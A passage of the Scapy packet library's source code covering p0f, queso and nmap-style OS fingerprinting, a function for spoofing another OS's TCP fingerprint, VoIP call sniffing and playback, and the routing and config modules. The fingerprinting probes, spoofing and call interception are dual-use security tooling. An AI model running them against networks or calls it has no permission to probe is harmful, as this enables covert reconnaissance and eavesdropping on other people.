"Snn" should work fine with # the x[0] == y[0] test. d += (x[0] == y[0] or y[0] == "*" or (y[0][0] == "%" and x[0].isdigit() and (int(x[0]) % int(y[0][1:])) == 0)) # ttl d += (y[1] >= x[1] and y[1] - x[1] < 32) for i in [2, 5]: d += (x[i] == y[i] or y[i] == '*') # '*' has a special meaning for ss d += x[3] == y[3] xopt = x[4].split(",") yopt = y[4].split(",") if len(xopt) == len(yopt): same = True for i in range(len(xopt)): if not (xopt[i] == yopt[i] or (len(yopt[i]) == 2 and len(xopt[i]) > 1 and yopt[i][1] == "*" and xopt[i][0] == yopt[i][0]) or (len(yopt[i]) > 2 and len(xopt[i]) > 1 and yopt[i][1] == "%" and xopt[i][0] == yopt[i][0] and int(xopt[i][1:]) % int(yopt[i][2:]) == 0)): same = False break if same: d += len(xopt) return d @conf.commands.register def p0f(pkt): """Passive OS fingerprinting: which OS emitted this TCP packet ? p0f(packet) -> accuracy, [list of guesses] """ db, sig = packet2p0f(pkt) if db: pb = db.get_base() else: pb = [] if not pb: warning("p0f base empty.") return [] #s = len(pb[0][0]) r = [] max = len(sig[4].split(",")) + 5 for b in pb: d = p0f_correl(sig,b) if d == max: r.append((b[6], b[7], b[1] - pkt[IP].ttl)) return r def prnp0f(pkt): # we should print which DB we use try: r = p0f(pkt) except: return if r == []: r = ("UNKNOWN", "[" + ":".join(map(str, packet2p0f(pkt)[1])) + ":?:?]", None) else: r = r[0] uptime = None try: uptime = pkt2uptime(pkt) except: pass if uptime == 0: uptime = None res = pkt.sprintf("%IP.src%:%TCP.sport% - " + r[0] + " " + r[1]) if uptime is not None: res += pkt.sprintf(" (up: " + str(uptime/3600) + " hrs)\n -> %IP.dst%:%TCP.dport% (%TCP.flags%)") else: res += pkt.sprintf("\n -> %IP.dst%:%TCP.dport% (%TCP.flags%)") if r[2] is not None: res += " (distance " + str(r[2]) + ")" print res @conf.commands.register def pkt2uptime(pkt, HZ=100): """Calculate the date the machine which emitted the packet booted using TCP timestamp pkt2uptime(pkt, [HZ=100])""" if not isinstance(pkt, Packet): raise TypeError("Not a TCP packet") if isinstance(pkt,NoPayload): raise TypeError("Not a TCP packet") if not isinstance(pkt, TCP): return pkt2uptime(pkt.payload) for opt in pkt.options: if opt[0] == "Timestamp": #t = pkt.time - opt[1][0] * 1.0/HZ #return time.ctime(t) t = opt[1][0] / HZ return t raise TypeError("No timestamp option") def p0f_impersonate(pkt, osgenre=None, osdetails=None, signature=None, extrahops=0, mtu=1500, uptime=None): """Modifies pkt so that p0f will think it has been sent by a specific OS. If osdetails is None, then we randomly pick up a personality matching osgenre. If osgenre and signature are also None, we use a local signature (using p0f_getlocalsigs). If signature is specified (as a tuple), we use the signature. For now, only TCP Syn packets are supported. Some specifications of the p0f.fp file are not (yet) implemented.""" pkt = pkt.copy() #pkt = pkt.__class__(str(pkt)) while pkt.haslayer(IP) and pkt.haslayer(TCP): pkt = pkt.getlayer(IP) if isinstance(pkt.payload, TCP): break pkt = pkt.payload if not isinstance(pkt, IP) or not isinstance(pkt.payload, TCP): raise TypeError("Not a TCP/IP packet") if uptime is None: uptime = random.randint(120,100*60*60*24*365) db = p0f_selectdb(pkt.payload.flags) if osgenre: pb = db.get_base() if pb is None: pb = [] pb = filter(lambda x: x[6] == osgenre, pb) if osdetails: pb = filter(lambda x: x[7] == osdetails, pb) elif signature: pb = [signature] else: pb = p0f_getlocalsigs()[db] if db == p0fr_kdb: # 'K' quirk <=> RST+ACK if pkt.payload.flags & 0x4 == 0x4: pb = filter(lambda x: 'K' in x[5], pb) else: pb = filter(lambda x: 'K' not in x[5], pb) if not pb: raise Scapy_Exception("No match in the p0f database") pers = pb[random.randint(0, len(pb) - 1)] # options (we start with options because of MSS) ## TODO: let the options already set if they are valid options = [] if pers[4] != '.': for opt in pers[4].split(','): if opt[0] == 'M': # MSS might have a maximum size because of window size # specification if pers[0][0] == 'S': maxmss = (2L**16-1) / int(pers[0][1:]) else: maxmss = (2L**16-1) # If we have to randomly pick up a value, we cannot use # scapy RandXXX() functions, because the value has to be # set in case we need it for the window size value. That's # why we use random.randint() if opt[1:] == '*': options.append(('MSS', random.randint(1,maxmss))) elif opt[1] == '%': coef = int(opt[2:]) options.append(('MSS', coef*random.randint(1,maxmss/coef))) else: options.append(('MSS', int(opt[1:]))) elif opt[0] == 'W': if opt[1:] == '*': options.append(('WScale', RandByte())) elif opt[1] == '%': coef = int(opt[2:]) options.append(('WScale', coef*RandNum(min=1, max=(2L**8-1)/coef))) else: options.append(('WScale', int(opt[1:]))) elif opt == 'T0': options.append(('Timestamp', (0, 0))) elif opt == 'T': if 'T' in pers[5]: # FIXME: RandInt() here does not work (bug (?) in # TCPOptionsField.m2i often raises "OverflowError: # long int too large to convert to int" in: # oval = struct.pack(ofmt, *oval)" # Actually, this is enough to often raise the error: # struct.pack('I', RandInt()) options.append(('Timestamp', (uptime, random.randint(1,2**32-1)))) else: options.append(('Timestamp', (uptime, 0))) elif opt == 'S': options.append(('SAckOK', '')) elif opt == 'N': options.append(('NOP', None)) elif opt == 'E': options.append(('EOL', None)) elif opt[0] == '?': if int(opt[1:]) in TCPOptions[0]: optname = TCPOptions[0][int(opt[1:])][0] optstruct = TCPOptions[0][int(opt[1:])][1] options.append((optname, struct.unpack(optstruct, RandString(struct.calcsize(optstruct))._fix()))) else: options.append((int(opt[1:]), '')) ## FIXME: qqP not handled else: warning("unhandled TCP option " + opt) pkt.payload.options = options # window size if pers[0] == '*': pkt.payload.window = RandShort() elif pers[0].isdigit(): pkt.payload.window = int(pers[0]) elif pers[0][0] == '%': coef = int(pers[0][1:]) pkt.payload.window = coef * RandNum(min=1,max=(2L**16-1)/coef) elif pers[0][0] == 'T': pkt.payload.window = mtu * int(pers[0][1:]) elif pers[0][0] == 'S': ## needs MSS set MSS = filter(lambda x: x[0] == 'MSS', options) if not filter(lambda x: x[0] == 'MSS', options): raise Scapy_Exception("TCP window value requires MSS, and MSS option not set") pkt.payload.window = filter(lambda x: x[0] == 'MSS', options)[0][1] * int(pers[0][1:]) else: raise Scapy_Exception('Unhandled window size specification') # ttl pkt.ttl = pers[1]-extrahops # DF flag pkt.flags |= (2 * pers[2]) ## FIXME: ss (packet size) not handled (how ? may be with D quirk ## if present) # Quirks if pers[5] != '.': for qq in pers[5]: ## FIXME: not handled: P, I, X, ! # T handled with the Timestamp option if qq == 'Z': pkt.id = 0 elif qq == 'U': pkt.payload.urgptr = RandShort() elif qq == 'A': pkt.payload.ack = RandInt() elif qq == 'F': if db == p0fo_kdb: pkt.payload.flags |= 0x20 # U else: pkt.payload.flags |= RandChoice(8, 32, 40) #P / U / PU elif qq == 'D' and db != p0fo_kdb: pkt /= Raw(load=RandString(random.randint(1, 10))) # XXX p0fo.fp elif qq == 'Q': pkt.payload.seq = pkt.payload.ack #elif qq == '0': pkt.payload.seq = 0 #if db == p0fr_kdb: # '0' quirk is actually not only for p0fr.fp (see # packet2p0f()) if '0' in pers[5]: pkt.payload.seq = 0 elif pkt.payload.seq == 0: pkt.payload.seq = RandInt() while pkt.underlayer: pkt = pkt.underlayer return pkt def p0f_getlocalsigs(): """This function returns a dictionary of signatures indexed by p0f db (e.g., p0f_kdb, p0fa_kdb, ...) for the local TCP/IP stack. You need to have your firewall at least accepting the TCP packets from/to a high port (30000 <= x <= 40000) on your loopback interface. Please note that the generated signatures come from the loopback interface and may (are likely to) be different than those generated on "normal" interfaces.""" pid = os.fork() port = random.randint(30000, 40000) if pid > 0: # parent: sniff result = {} def addresult(res): # TODO: wildcard window size in some cases? and maybe some # other values? if res[0] not in result: result[res[0]] = [res[1]] else: if res[1] not in result[res[0]]: result[res[0]].append(res[1]) # XXX could we try with a "normal" interface using other hosts iface = conf.route.route('127.0.0.1')[0] # each packet is seen twice: S + RA, S + SA + A + FA + A # XXX are the packets also seen twice on non Linux systems ? count=14 pl = sniff(iface=iface, filter='tcp and port ' + str(port), count = count, timeout=3) map(addresult, map(packet2p0f, pl)) os.waitpid(pid,0) elif pid < 0: log_runtime.error("fork error") else: # child: send # XXX erk time.sleep(1) s1 = socket.socket(socket.AF_INET, type = socket.SOCK_STREAM) # S & RA try: s1.connect(('127.0.0.1', port)) except socket.error: pass # S, SA, A, FA, A s1.bind(('127.0.0.1', port)) s1.connect(('127.0.0.1', port)) # howto: get an RST w/o ACK packet s1.close() os._exit(0) return result scapy-2.2.0/scapy/modules/queso.py0000644000175000017500000000551211430356077015246 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Clone of queso OS fingerprinting """ from scapy.data import KnowledgeBase from scapy.config import conf from scapy.layers.inet import IP,TCP #from conf.queso_base ="/etc/queso.conf" ################# ## Queso stuff ## ################# def quesoTCPflags(flags): if flags == "-": return "-" flv = "FSRPAUXY" v = 0 for i in flags: v |= 2**flv.index(i) return "%x" % v class QuesoKnowledgeBase(KnowledgeBase): def lazy_init(self): try: f = open(self.filename) except IOError: return self.base = {} p = None try: for l in f: l = l.strip() if not l or l[0] == ';': continue if l[0] == '*': if p is not None: p[""] = name name = l[1:].strip() p = self.base continue if l[0] not in list("0123456"): continue res = l[2:].split() res[-1] = quesoTCPflags(res[-1]) res = " ".join(res) if not p.has_key(res): p[res] = {} p = p[res] if p is not None: p[""] = name except: self.base = None warning("Can't load queso base [%s]", self.filename) f.close() queso_kdb = QuesoKnowledgeBase(conf.queso_base) def queso_sig(target, dport=80, timeout=3): p = queso_kdb.get_base() ret = [] for flags in ["S", "SA", "F", "FA", "SF", "P", "SEC"]: ans, unans = sr(IP(dst=target)/TCP(dport=dport,flags=flags,seq=RandInt()), timeout=timeout, verbose=0) if len(ans) == 0: rs = "- - - -" else: s,r = ans[0] rs = "%i" % (r.seq != 0) if not r.ack: r += " 0" elif r.ack-s.seq > 666: rs += " R" % 0 else: rs += " +%i" % (r.ack-s.seq) rs += " %X" % r.window rs += " %x" % r.payload.flags ret.append(rs) return ret def queso_search(sig): p = queso_kdb.get_base() sig.reverse() ret = [] try: while sig: s = sig.pop() p = p[s] if p.has_key(""): ret.append(p[""]) except KeyError: pass return ret @conf.commands.register def queso(*args,**kargs): """Queso OS fingerprinting queso(target, dport=80, timeout=3)""" return queso_search(queso_sig(*args, **kargs)) scapy-2.2.0/scapy/modules/voip.py0000644000175000017500000001000611430356077015061 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ VoIP (Voice over IP) related functions """ import os ################### ## Testing stuff ## ################### from fcntl import fcntl from scapy.sendrecv import sniff from scapy.packet import Raw from scapy.layers.inet import IP,UDP from scapy.layers.rtp import RTP from scapy.utils import get_temp_file def merge(x,y,sample_size=2): if len(x) > len(y): y += "\x00"*(len(x)-len(y)) elif len(x) < len(y): x += "\x00"*(len(y)-len(x)) m = "" ss=sample_size for i in range(len(x)/ss): m += x[ss*i:ss*(i+1)]+y[ss*i:ss*(i+1)] return m # return "".join(map(str.__add__, x, y)) def voip_play(s1,list=None,**kargs): FIFO=get_temp_file() FIFO1=FIFO % 1 FIFO2=FIFO % 2 os.mkfifo(FIFO1) os.mkfifo(FIFO2) try: os.system("soxmix -t .ul %s -t .ul %s -t ossdsp /dev/dsp &" % (FIFO1,FIFO2)) c1=open(FIFO1,"w", 4096) c2=open(FIFO2,"w", 4096) fcntl.fcntl(c1.fileno(),fcntl.F_SETFL, os.O_NONBLOCK) fcntl.fcntl(c2.fileno(),fcntl.F_SETFL, os.O_NONBLOCK) # dsp,rd = os.popen2("sox -t .ul -c 2 - -t ossdsp /dev/dsp") def play(pkt,last=[]): if not pkt: return if not pkt.haslayer(UDP): return ip=pkt.getlayer(IP) if s1 in [ip.src, ip.dst]: if not last: last.append(pkt) return load=last.pop() # x1 = load.load[12:] c1.write(load.load[12:]) if load.getlayer(IP).src == ip.src: # x2 = "" c2.write("\x00"*len(load.load[12:])) last.append(pkt) else: # x2 = pkt.load[:12] c2.write(pkt.load[12:]) # dsp.write(merge(x1,x2)) if list is None: sniff(store=0, prn=play, **kargs) else: for p in list: play(p) finally: os.unlink(FIFO1) os.unlink(FIFO2) def voip_play1(s1,list=None,**kargs): dsp,rd = os.popen2("sox -t .ul - -t ossdsp /dev/dsp") def play(pkt): if not pkt: return if not pkt.haslayer(UDP): return ip=pkt.getlayer(IP) if s1 in [ip.src, ip.dst]: dsp.write(pkt.getlayer(Raw).load[12:]) try: if list is None: sniff(store=0, prn=play, **kargs) else: for p in list: play(p) finally: dsp.close() rd.close() def voip_play2(s1,**kargs): dsp,rd = os.popen2("sox -t .ul -c 2 - -t ossdsp /dev/dsp") def play(pkt,last=[]): if not pkt: return if not pkt.haslayer(UDP): return ip=pkt.getlayer(IP) if s1 in [ip.src, ip.dst]: if not last: last.append(pkt) return load=last.pop() x1 = load.load[12:] # c1.write(load.load[12:]) if load.getlayer(IP).src == ip.src: x2 = "" # c2.write("\x00"*len(load.load[12:])) last.append(pkt) else: x2 = pkt.load[:12] # c2.write(pkt.load[12:]) dsp.write(merge(x1,x2)) sniff(store=0, prn=play, **kargs) def voip_play3(lst=None,**kargs): dsp,rd = os.popen2("sox -t .ul - -t ossdsp /dev/dsp") try: def play(pkt, dsp=dsp): if pkt and pkt.haslayer(UDP) and pkt.haslayer(Raw): dsp.write(pkt.getlayer(RTP).load) if lst is None: sniff(store=0, prn=play, **kargs) else: for p in lst: play(p) finally: try: dsp.close() rd.close() except: pass scapy-2.2.0/scapy/modules/nmap.py0000644000175000017500000001465611430356077015056 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Clone of Nmap's first generation OS fingerprinting. """ import os from scapy.data import KnowledgeBase from scapy.config import conf from scapy.arch import WINDOWS if WINDOWS: conf.nmap_base=os.environ["ProgramFiles"] + "\\nmap\\nmap-os-fingerprints" else: conf.nmap_base ="/usr/share/nmap/nmap-os-fingerprints" ###################### ## nmap OS fp stuff ## ###################### class NmapKnowledgeBase(KnowledgeBase): def lazy_init(self): try: f=open(self.filename) except IOError: return self.base = [] name = None try: for l in f: l = l.strip() if not l or l[0] == "#": continue if l[:12] == "Fingerprint ": if name is not None: self.base.append((name,sig)) name = l[12:].strip() sig={} p = self.base continue elif l[:6] == "Class ": continue op = l.find("(") cl = l.find(")") if op < 0 or cl < 0: warning("error reading nmap os fp base file") continue test = l[:op] s = map(lambda x: x.split("="), l[op+1:cl].split("%")) si = {} for n,v in s: si[n] = v sig[test]=si if name is not None: self.base.append((name,sig)) except: self.base = None warning("Can't read nmap database [%s](new nmap version ?)" % self.filename) f.close() nmap_kdb = NmapKnowledgeBase(conf.nmap_base) def TCPflags2str(f): fl="FSRPAUEC" s="" for i in range(len(fl)): if f & 1: s = fl[i]+s f >>= 1 return s def nmap_tcppacket_sig(pkt): r = {} if pkt is not None: # r["Resp"] = "Y" r["DF"] = (pkt.flags & 2) and "Y" or "N" r["W"] = "%X" % pkt.window r["ACK"] = pkt.ack==2 and "S++" or pkt.ack==1 and "S" or "O" r["Flags"] = TCPflags2str(pkt.payload.flags) r["Ops"] = "".join(map(lambda x: x[0][0],pkt.payload.options)) else: r["Resp"] = "N" return r def nmap_udppacket_sig(S,T): r={} if T is None: r["Resp"] = "N" else: r["DF"] = (T.flags & 2) and "Y" or "N" r["TOS"] = "%X" % T.tos r["IPLEN"] = "%X" % T.len r["RIPTL"] = "%X" % T.payload.payload.len r["RID"] = S.id == T.payload.payload.id and "E" or "F" r["RIPCK"] = S.chksum == T.getlayer(IPerror).chksum and "E" or T.getlayer(IPerror).chksum == 0 and "0" or "F" r["UCK"] = S.payload.chksum == T.getlayer(UDPerror).chksum and "E" or T.getlayer(UDPerror).chksum ==0 and "0" or "F" r["ULEN"] = "%X" % T.getlayer(UDPerror).len r["DAT"] = T.getlayer(Raw) is None and "E" or S.getlayer(Raw).load == T.getlayer(Raw).load and "E" or "F" return r def nmap_match_one_sig(seen, ref): c = 0 for k in seen.keys(): if ref.has_key(k): if seen[k] in ref[k].split("|"): c += 1 if c == 0 and seen.get("Resp") == "N": return 0.7 else: return 1.0*c/len(seen.keys()) def nmap_sig(target, oport=80, cport=81, ucport=1): res = {} tcpopt = [ ("WScale", 10), ("NOP",None), ("MSS", 256), ("Timestamp",(123,0)) ] tests = [ IP(dst=target, id=1)/TCP(seq=1, sport=5001, dport=oport, options=tcpopt, flags="CS"), IP(dst=target, id=1)/TCP(seq=1, sport=5002, dport=oport, options=tcpopt, flags=0), IP(dst=target, id=1)/TCP(seq=1, sport=5003, dport=oport, options=tcpopt, flags="SFUP"), IP(dst=target, id=1)/TCP(seq=1, sport=5004, dport=oport, options=tcpopt, flags="A"), IP(dst=target, id=1)/TCP(seq=1, sport=5005, dport=cport, options=tcpopt, flags="S"), IP(dst=target, id=1)/TCP(seq=1, sport=5006, dport=cport, options=tcpopt, flags="A"), IP(dst=target, id=1)/TCP(seq=1, sport=5007, dport=cport, options=tcpopt, flags="FPU"), IP(str(IP(dst=target)/UDP(sport=5008,dport=ucport)/(300*"i"))) ] ans, unans = sr(tests, timeout=2) ans += map(lambda x: (x,None), unans) for S,T in ans: if S.sport == 5008: res["PU"] = nmap_udppacket_sig(S,T) else: t = "T%i" % (S.sport-5000) if T is not None and T.haslayer(ICMP): warning("Test %s answered by an ICMP" % t) T=None res[t] = nmap_tcppacket_sig(T) return res def nmap_probes2sig(tests): tests=tests.copy() res = {} if "PU" in tests: res["PU"] = nmap_udppacket_sig(*tests["PU"]) del(tests["PU"]) for k in tests: res[k] = nmap_tcppacket_sig(tests[k]) return res def nmap_search(sigs): guess = 0,[] for os,fp in nmap_kdb.get_base(): c = 0.0 for t in sigs.keys(): if t in fp: c += nmap_match_one_sig(sigs[t], fp[t]) c /= len(sigs.keys()) if c > guess[0]: guess = c,[ os ] elif c == guess[0]: guess[1].append(os) return guess @conf.commands.register def nmap_fp(target, oport=80, cport=81): """nmap fingerprinting nmap_fp(target, [oport=80,] [cport=81,]) -> list of best guesses with accuracy """ sigs = nmap_sig(target, oport, cport) return nmap_search(sigs) @conf.commands.register def nmap_sig2txt(sig): torder = ["TSeq","T1","T2","T3","T4","T5","T6","T7","PU"] korder = ["Class", "gcd", "SI", "IPID", "TS", "Resp", "DF", "W", "ACK", "Flags", "Ops", "TOS", "IPLEN", "RIPTL", "RID", "RIPCK", "UCK", "ULEN", "DAT" ] txt=[] for i in sig.keys(): if i not in torder: torder.append(i) for t in torder: sl = sig.get(t) if sl is None: continue s = [] for k in korder: v = sl.get(k) if v is None: continue s.append("%s=%s"%(k,v)) txt.append("%s(%s)" % (t, "%".join(s))) return "\n".join(txt) scapy-2.2.0/scapy/modules/geoip.py0000644000175000017500000000364611430356077015223 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ GeoIP: find out the geographical location of IP addresses """ from scapy.data import KnowledgeBase from scapy.config import conf conf.IPCountry_base = "GeoIPCountry4Scapy.gz" conf.countryLoc_base = "countryLoc.csv" conf.gnuplot_world = "world.dat" ########################## ## IP location database ## ########################## class IPCountryKnowledgeBase(KnowledgeBase): """ How to generate the base : db = [] for l in open("GeoIPCountryWhois.csv").readlines(): s,e,c = l.split(",")[2:5] db.append((int(s[1:-1]),int(e[1:-1]),c[1:-1])) cPickle.dump(gzip.open("xxx","w"),db) """ def lazy_init(self): self.base = load_object(self.filename) class CountryLocKnowledgeBase(KnowledgeBase): def lazy_init(self): f=open(self.filename) self.base = {} while 1: l = f.readline() if not l: break l = l.strip().split(",") if len(l) != 3: continue c,lat,long = l self.base[c] = (float(long),float(lat)) f.close() @conf.commands.register def locate_ip(ip): """Get geographic coordinates from IP using geoip database""" ip=map(int,ip.split(".")) ip = ip[3]+(ip[2]<<8L)+(ip[1]<<16L)+(ip[0]<<24L) cloc = country_loc_kdb.get_base() db = IP_country_kdb.get_base() d=0 f=len(db)-1 while (f-d) > 1: guess = (d+f)/2 if ip > db[guess][0]: d = guess else: f = guess s,e,c = db[guess] if s <= ip and ip <= e: return cloc.get(c,None) conf.IP_country_kdb = IPCountryKnowledgeBase(conf.IPCountry_base) conf.country_loc_kdb = CountryLocKnowledgeBase(conf.countryLoc_base) scapy-2.2.0/scapy/route.py0000644000175000017500000001235511430356077013603 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Routing and handling of network interfaces. """ import socket from arch import read_routes,get_if_addr,LOOPBACK_NAME from utils import atol,ltoa,itom from config import conf from error import Scapy_Exception,warning ############################## ## Routing/Interfaces stuff ## ############################## class Route: def __init__(self): self.resync() self.s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.cache = {} def invalidate_cache(self): self.cache = {} def resync(self): self.invalidate_cache() self.routes = read_routes() def __repr__(self): rt = "Network Netmask Gateway Iface Output IP\n" for net,msk,gw,iface,addr in self.routes: rt += "%-15s %-15s %-15s %-15s %-15s\n" % (ltoa(net), ltoa(msk), gw, iface, addr) return rt def make_route(self, host=None, net=None, gw=None, dev=None): if host is not None: thenet,msk = host,32 elif net is not None: thenet,msk = net.split("/") msk = int(msk) else: raise Scapy_Exception("make_route: Incorrect parameters. You should specify a host or a net") if gw is None: gw="0.0.0.0" if dev is None: if gw: nhop = gw else: nhop = thenet dev,ifaddr,x = self.route(nhop) else: ifaddr = get_if_addr(dev) return (atol(thenet), itom(msk), gw, dev, ifaddr) def add(self, *args, **kargs): """Ex: add(net="192.168.1.0/24",gw="1.2.3.4") """ self.invalidate_cache() self.routes.append(self.make_route(*args,**kargs)) def delt(self, *args, **kargs): """delt(host|net, gw|dev)""" self.invalidate_cache() route = self.make_route(*args,**kargs) try: i=self.routes.index(route) del(self.routes[i]) except ValueError: warning("no matching route found") def ifchange(self, iff, addr): self.invalidate_cache() the_addr,the_msk = (addr.split("/")+["32"])[:2] the_msk = itom(int(the_msk)) the_rawaddr = atol(the_addr) the_net = the_rawaddr & the_msk for i in range(len(self.routes)): net,msk,gw,iface,addr = self.routes[i] if iface != iff: continue if gw == '0.0.0.0': self.routes[i] = (the_net,the_msk,gw,iface,the_addr) else: self.routes[i] = (net,msk,gw,iface,the_addr) conf.netcache.flush() def ifdel(self, iff): self.invalidate_cache() new_routes=[] for rt in self.routes: if rt[3] != iff: new_routes.append(rt) self.routes=new_routes def ifadd(self, iff, addr): self.invalidate_cache() the_addr,the_msk = (addr.split("/")+["32"])[:2] the_msk = itom(int(the_msk)) the_rawaddr = atol(the_addr) the_net = the_rawaddr & the_msk self.routes.append((the_net,the_msk,'0.0.0.0',iff,the_addr)) def route(self,dest,verbose=None): if type(dest) is list and dest: dest = dest[0] if dest in self.cache: return self.cache[dest] if verbose is None: verbose=conf.verb # Transform "192.168.*.1-5" to one IP of the set dst = dest.split("/")[0] dst = dst.replace("*","0") while 1: l = dst.find("-") if l < 0: break m = (dst[l:]+".").find(".") dst = dst[:l]+dst[l+m:] dst = atol(dst) pathes=[] for d,m,gw,i,a in self.routes: aa = atol(a) if aa == dst: pathes.append((0xffffffffL,(LOOPBACK_NAME,a,"0.0.0.0"))) if (dst & m) == (d & m): pathes.append((m,(i,a,gw))) if not pathes: if verbose: warning("No route found (no default route?)") return LOOPBACK_NAME,"0.0.0.0","0.0.0.0" #XXX linux specific! # Choose the more specific route (greatest netmask). # XXX: we don't care about metrics pathes.sort() ret = pathes[-1][1] self.cache[dest] = ret return ret def get_if_bcast(self, iff): for net, msk, gw, iface, addr in self.routes: if (iff == iface and net != 0L): bcast = atol(addr)|(~msk&0xffffffffL); # FIXME: check error in atol() return ltoa(bcast); warning("No broadcast address found for iface %s\n" % iff); conf.route=Route() #XXX use "with" _betteriface = conf.route.route("0.0.0.0", verbose=0)[0] if _betteriface != LOOPBACK_NAME: conf.iface = _betteriface del(_betteriface) scapy-2.2.0/scapy/config.py0000644000175000017500000003134411532602153013701 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Implementation for of the configuration object. """ import os,time,socket,sys from data import * import base_classes import themes from error import log_scapy ############ ## Config ## ############ class ConfClass(object): def configure(self, cnf): self.__dict__ = cnf.__dict__.copy() def __repr__(self): return str(self) def __str__(self): s="" keys = self.__class__.__dict__.copy() keys.update(self.__dict__) keys = keys.keys() keys.sort() for i in keys: if i[0] != "_": r = repr(getattr(self, i)) r = " ".join(r.split()) wlen = 76-max(len(i),10) if len(r) > wlen: r = r[:wlen-3]+"..." s += "%-10s = %s\n" % (i, r) return s[:-1] class Interceptor(object): def __init__(self, name, default, hook, args=None, kargs=None): self.name = name self.intname = "_intercepted_%s" % name self.default=default self.hook = hook self.args = args if args is not None else [] self.kargs = kargs if kargs is not None else {} def __get__(self, obj, typ=None): if not hasattr(obj, self.intname): setattr(obj, self.intname, self.default) return getattr(obj, self.intname) def __set__(self, obj, val): setattr(obj, self.intname, val) self.hook(self.name, val, *self.args, **self.kargs) class ProgPath(ConfClass): pdfreader = "acroread" psreader = "gv" dot = "dot" display = "display" tcpdump = "tcpdump" tcpreplay = "tcpreplay" hexedit = "hexer" wireshark = "wireshark" class ConfigFieldList: def __init__(self): self.fields = set() self.layers = set() @staticmethod def _is_field(f): return hasattr(f, "owners") def _recalc_layer_list(self): self.layers = set([owner for f in self.fields for owner in f.owners]) def add(self, *flds): self.fields |= set([f for f in flds if self._is_field(f)]) self._recalc_layer_list() def remove(self, *flds): self.fields -= set(flds) self._recalc_layer_list() def __contains__(self, elt): if isinstance(elt, base_classes.Packet_metaclass): return elt in self.layers return elt in self.fields def __repr__(self): return "<%s [%s]>" % (self.__class__.__name__," ".join(str(x) for x in self.fields)) class Emphasize(ConfigFieldList): pass class Resolve(ConfigFieldList): pass class Num2Layer: def __init__(self): self.num2layer = {} self.layer2num = {} def register(self, num, layer): self.register_num2layer(num, layer) self.register_layer2num(num, layer) def register_num2layer(self, num, layer): self.num2layer[num] = layer def register_layer2num(self, num, layer): self.layer2num[layer] = num def __getitem__(self, item): if isinstance(item, base_classes.Packet_metaclass): return self.layer2num[item] return self.num2layer[item] def __contains__(self, item): if isinstance(item, base_classes.Packet_metaclass): return item in self.layer2num return item in self.num2layer def get(self, item, default=None): if item in self: return self[item] return default def __repr__(self): lst = [] for num,layer in self.num2layer.iteritems(): if layer in self.layer2num and self.layer2num[layer] == num: dir = "<->" else: dir = " ->" lst.append((num,"%#6x %s %-20s (%s)" % (num,dir,layer.__name__,layer.name))) for layer,num in self.layer2num.iteritems(): if num not in self.num2layer or self.num2layer[num] != layer: lst.append((num,"%#6x <- %-20s (%s)" % (num,layer.__name__,layer.name))) lst.sort() return "\n".join(y for x,y in lst) class LayersList(list): def __repr__(self): s=[] for l in self: s.append("%-20s: %s" % (l.__name__,l.name)) return "\n".join(s) def register(self, layer): self.append(layer) class CommandsList(list): def __repr__(self): s=[] for l in sorted(self,key=lambda x:x.__name__): if l.__doc__: doc = l.__doc__.split("\n")[0] else: doc = "--" s.append("%-20s: %s" % (l.__name__,doc)) return "\n".join(s) def register(self, cmd): self.append(cmd) return cmd # return cmd so that method can be used as a decorator def lsc(): print repr(conf.commands) class CacheInstance(dict): def __init__(self, name="noname", timeout=None): self.timeout = timeout self.name = name self._timetable = {} def __getitem__(self, item): val = dict.__getitem__(self,item) if self.timeout is not None: t = self._timetable[item] if time.time()-t > self.timeout: raise KeyError(item) return val def get(self, item, default=None): # overloading this method is needed to force the dict to go through # the timetable check try: return self[item] except KeyError: return default def __setitem__(self, item, v): self._timetable[item] = time.time() dict.__setitem__(self, item,v) def update(self, other): dict.update(self, other) self._timetable.update(other._timetable) def iteritems(self): if self.timeout is None: return dict.iteritems(self) t0=time.time() return ((k,v) for (k,v) in dict.iteritems(self) if t0-self._timetable[k] < self.timeout) def iterkeys(self): if self.timeout is None: return dict.iterkeys(self) t0=time.time() return (k for k in dict.iterkeys(self) if t0-self._timetable[k] < self.timeout) def __iter__(self): return self.iterkeys() def itervalues(self): if self.timeout is None: return dict.itervalues(self) t0=time.time() return (v for (k,v) in dict.iteritems(self) if t0-self._timetable[k] < self.timeout) def items(self): if self.timeout is None: return dict.items(self) t0=time.time() return [(k,v) for (k,v) in dict.iteritems(self) if t0-self._timetable[k] < self.timeout] def keys(self): if self.timeout is None: return dict.keys(self) t0=time.time() return [k for k in dict.iterkeys(self) if t0-self._timetable[k] < self.timeout] def values(self): if self.timeout is None: return dict.values(self) t0=time.time() return [v for (k,v) in dict.iteritems(self) if t0-self._timetable[k] < self.timeout] def __len__(self): if self.timeout is None: return dict.__len__(self) return len(self.keys()) def summary(self): return "%s: %i valid items. Timeout=%rs" % (self.name, len(self), self.timeout) def __repr__(self): s = [] if self: mk = max(len(k) for k in self.iterkeys()) fmt = "%%-%is %%s" % (mk+1) for item in self.iteritems(): s.append(fmt % item) return "\n".join(s) class NetCache: def __init__(self): self._caches_list = [] def add_cache(self, cache): self._caches_list.append(cache) setattr(self,cache.name,cache) def new_cache(self, name, timeout=None): c = CacheInstance(name=name, timeout=timeout) self.add_cache(c) def __delattr__(self, attr): raise AttributeError("Cannot delete attributes") def update(self, other): for co in other._caches_list: if hasattr(self, co.name): getattr(self,co.name).update(co) else: self.add_cache(co.copy()) def flush(self): for c in self._caches_list: c.flush() def __repr__(self): return "\n".join(c.summary() for c in self._caches_list) class LogLevel(object): def __get__(self, obj, otype): return obj._logLevel def __set__(self,obj,val): log_scapy.setLevel(val) obj._logLevel = val def _prompt_changer(attr,val): prompt = conf.prompt try: 